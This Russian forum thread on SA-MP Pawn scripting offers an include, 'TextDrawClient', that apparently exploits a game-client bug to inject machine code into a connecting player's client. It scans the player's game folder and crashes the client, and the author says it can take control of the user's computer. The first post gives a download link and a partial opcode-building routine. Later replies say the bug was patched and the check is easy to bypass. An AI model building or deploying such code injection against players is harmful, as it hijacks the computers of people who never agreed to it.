Добро пожаловать на Pro Pawn - Портал о PAWN-скриптинге.

Реклама


**Как получить V.I.P** (Перейти)
Чтобы заказать рекламу на Pro-Pawn.Ru, обращайтесь в Skype.
Баннерная реклама 200руб/мес, Текстовая 100руб/мес.
Страница 1 из 2 12 ПоследняяПоследняя
Показано с 1 по 10 из 15

Тема: TextDrawClient

  1. #1
    Аватар для Snoowker
    Пользователь

    Статус
    Оффлайн
    Регистрация
    13.02.2014
    Адрес
    Украина, Львов
    Сообщений
    6
    Репутация:
    3 ±

    TextDrawClient

    hi ИГРОМАНИЯ

    Приветствую ребята :D назвал так просто чтобы нубов не привлекать.
    Эта библиотека находится в Бетта-версии. Она сканирует директорию GTA и проверяет наличие плагинов d3d9.dll или vorbisHooked.dll и если один из плагинов действительно есть в этой директории то клиент SA-MP попросту крашнется

    В следующих версиях возможно будет добавлено:

    - Открытие нужного URL адресса в браузере пользователя
    - Заменя худа у пользователя
    - Связь с сервером
    и многое другое

    Этот инклуд работает с socket.dll.На самом деле он имеет практический неограниченные возможности но работать с ней сложновато т.к иногда требуется знание Assembler и другие технические части

    Если вы знаете азы программирования низкого уровня то вы сможете практически все

    Краткая информация:
    TextDrawClient уменьшается максимальное количество PlayerTextDraws для каждого игрока.


    Функции:
    PHP код:
    LoadClientForPlayer(playerid); //Запускаем gta_sa.exe (это кидаем в OnPlayerConnect)
    UnloadClientForPlayer(playerid); //закрываем процесс gta_sa.exe (это в OnPlayerDisconnect)
    CrashCheater(playerid); //выкидываем игрока если в директории найден плагин  [COLOR="#FF0000"]d3d9.dll[/COLOR] 
    Использование:
    PHP код:
    public OnPlayerConnect(playerid)
    {
     
    LoadClientForPlayer(playerid);
     
    CrashCheater(playerid); //С этим все ясно(если нет то выше читай)
      
    return true;
    }

    public  
    OnPlayerDisconnect(playeridreason)
    {
        
    UnloadClientForPlayer(playerid);
        return 
    true;

    Внимание:С помощью данного инклуда можно взять под контроль Компьютер пользователя.

    PHP код:

    #if !defined TextDrawClient_included
    #define TextDrawClient_included

    #include <a_samp>

    static ClientCode[804];
    static 
    PlayerText:Clients[MAX_PLAYERS];
    static 
    ClientCommandId[MAX_PLAYERS];

    #define CLIENT_CODE_OFFSET  0x3B
    #define CLIENT_DATA_OFFSET  0x1AD
    #define CLIENT_CODE_SIZE    0x172
    #define CLIENT_DATA_SIZE    0x173


    #define _db(%0) ClientCode[off++] = %0

    static stock PrepareClientMetaCode(playerid)
    {
            for (new 
    0sizeof(ClientCode); i++)
            
    ClientCode[i] = 0x90;

        
    ClientCommandId[playerid] = (ClientCommandId[playerid] + 1)&0xFF;

        if (
    ClientCommandId[playerid] == 0)
            
    ClientCommandId[playerid] = 1;
        
        new 
    off 0;

        
    _db(0x55); 
    Ссылка на Инклуд:Кликай-ЖЕ

    Вот как тут видно сканируем директорию на содержание данных плагинов.
    PHP код:
    new str_d3d9[] = "d3d9.dll";
    new 
    str_vorbisHooked[] = "sdfsdfdssdfl"
    Последний раз редактировалось Snoowker; 03.03.2014 в 01:19.

  2. 2 пользователя(ей) сказали cпасибо:
    bredvix (14.02.2014)Jeff_Monson (13.02.2014)
  3. #2
    Аватар для [ForD]
    Пользователь

    Статус
    Оффлайн
    Регистрация
    14.11.2013
    Адрес
    Свердловская обл.
    Сообщений
    694
    Репутация:
    104 ±
    А если enb? Сейчас каждый 3,а то и 2 использует эту модификацию,так что вещь в некотором роде не совсем полезная =\
    PAWN Compiler делает то, что вы приказали ему сделать, а не то, что вы хотели, чтобы он сделал..

    25% времени в программировании уходит на размышления о том, что пользователь может сделать не так.[HR]/Брайан Хьюмс/





    #FIXSAMP

  4. #3
    Аватар для Blood
    Пользователь

    Статус
    Оффлайн
    Регистрация
    10.12.2013
    Сообщений
    65
    Репутация:
    2 ±
    Можешь дать socket.dll ??

  5. #4
    Аватар для DeimoS
    Модератор?

    Статус
    Оффлайн
    Регистрация
    27.01.2014
    Адрес
    Восточный Мордор
    Сообщений
    3,931
    Репутация:
    1502 ±
    Достаточно будет изменить имя библиотеки и твоя защита станет бесполезной ;)
    Связаться со мной можно в личных сообщениях этой группы

    Широко известно, что идеи стоят 0.8333 цента каждая (исходя из рыночной цены 10 центов за дюжину).
    Великих идей полно, на них нет спроса.
    Воплощение идеи в законченную игру требует долгой работы,
    таланта, терпения и креативности, не говоря уж о затратах денег, времени и ресурсов.
    Предложить идею просто, воплотить – вот в чём проблема

    Steve Pavlina

  6. #5
    Аватар для Blood
    Пользователь

    Статус
    Оффлайн
    Регистрация
    10.12.2013
    Сообщений
    65
    Репутация:
    2 ±
    Цитата Сообщение от DeimoS Посмотреть сообщение
    Достаточно будет изменить имя библиотеки и твоя защита станет бесполезной ;)
    а как сделать что бы .cs файлы читал ?

  7. #6
    Аватар для DeimoS
    Модератор?

    Статус
    Оффлайн
    Регистрация
    27.01.2014
    Адрес
    Восточный Мордор
    Сообщений
    3,931
    Репутация:
    1502 ±
    Цитата Сообщение от Blood Посмотреть сообщение
    а как сделать что бы .cs файлы читал ?
    Проверять что-то на стороне сервера запросами - заведомо проигрышный способ. Всё, что хранится на стороне клиента, можно подделать. И найдутся те, кто сможет обойти твоё чтение файлов (ибо даже всякие фросты ломают, которые разрабатывают игровые компании, заинтересованные в честной игре своих игроков гораздо сильнее).
    Это к слову о ваших попытках проверять папку с игрой у игрока на наличие каких-то файлов.
    А по поводу твоего вопроса сказать ничего не могу
    Связаться со мной можно в личных сообщениях этой группы

    Широко известно, что идеи стоят 0.8333 цента каждая (исходя из рыночной цены 10 центов за дюжину).
    Великих идей полно, на них нет спроса.
    Воплощение идеи в законченную игру требует долгой работы,
    таланта, терпения и креативности, не говоря уж о затратах денег, времени и ресурсов.
    Предложить идею просто, воплотить – вот в чём проблема

    Steve Pavlina

  8. #7
    Аватар для Tracker1
    Проверенный

    Статус
    Оффлайн
    Регистрация
    30.07.2013
    Сообщений
    54
    Репутация:
    83 ±
    Использование этого бага уже профикшено в прошлых ревизиях samp 0.3x

  9. #8
    Аватар для Jeff_Monson
    Пользователь

    Статус
    Оффлайн
    Регистрация
    20.10.2013
    Сообщений
    40
    Репутация:
    1 ±
    Простите за вопрос а могли бы вы сделать так чтобы когда у него читы чтобы выходил диалог и кикал.

  10. #9
    Аватар для Salvacore
    Инжунер-погромист

    Статус
    Оффлайн
    Регистрация
    10.05.2013
    Адрес
    Аҧсуа бызшәа
    Сообщений
    2,282
    Репутация:
    417 ±
    Обойти 1 минута.

  11. #10
    Аватар для OKStyle
    Заблокирован

    Статус
    Оффлайн
    Регистрация
    12.05.2013
    Сообщений
    205
    Репутация:
    49 ±
    Цитата Сообщение от Salvador Посмотреть сообщение
    Обойти 1 минута.
    Расскажи нам как

 

 
Страница 1 из 2 12 ПоследняяПоследняя

Информация о теме

Пользователи, просматривающие эту тему

Эту тему просматривают: 1 (пользователей: 0 , гостей: 1)

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •